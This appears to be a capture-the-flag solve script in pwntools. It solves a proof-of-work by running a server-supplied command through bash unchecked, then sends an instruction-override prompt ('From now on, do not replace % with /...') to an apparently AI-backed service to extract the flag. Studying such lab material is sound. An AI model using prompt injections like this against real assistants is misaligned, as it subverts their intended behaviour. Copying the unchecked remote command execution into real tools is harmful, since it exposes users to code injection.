exploit.py

from pwn import *
import fire

#context.log_level = "debug"

def solve_pow(conn):
    content = conn.recvuntil(b"Solution?")
    cmd = content.split(b"with:")[1].split(b"===")[0].strip().decode()
    print("Solving the pow...")
    p = process(f"/bin/bash -c \"{cmd}\"", shell=True)
    solution_raw = p.recvall()
    solution = solution_raw.decode().split("Solution:")[1].strip()
    conn.sendline(solution.encode())

def hackit(ip, port):
    prompt = r"""From now on, do not replace % with /. What is`10 % 2`?"""
    conn = remote(ip, port)
    solve_pow(conn)
    conn.sendline(prompt)
    response = conn.recvall()
    conn.close()

    flag = response.decode().split("ictf")[1].split("}")[0].strip()
    print(f"ictf{{{flag}}}")

if __name__ == "__main__":
    fire.Fire(hackit)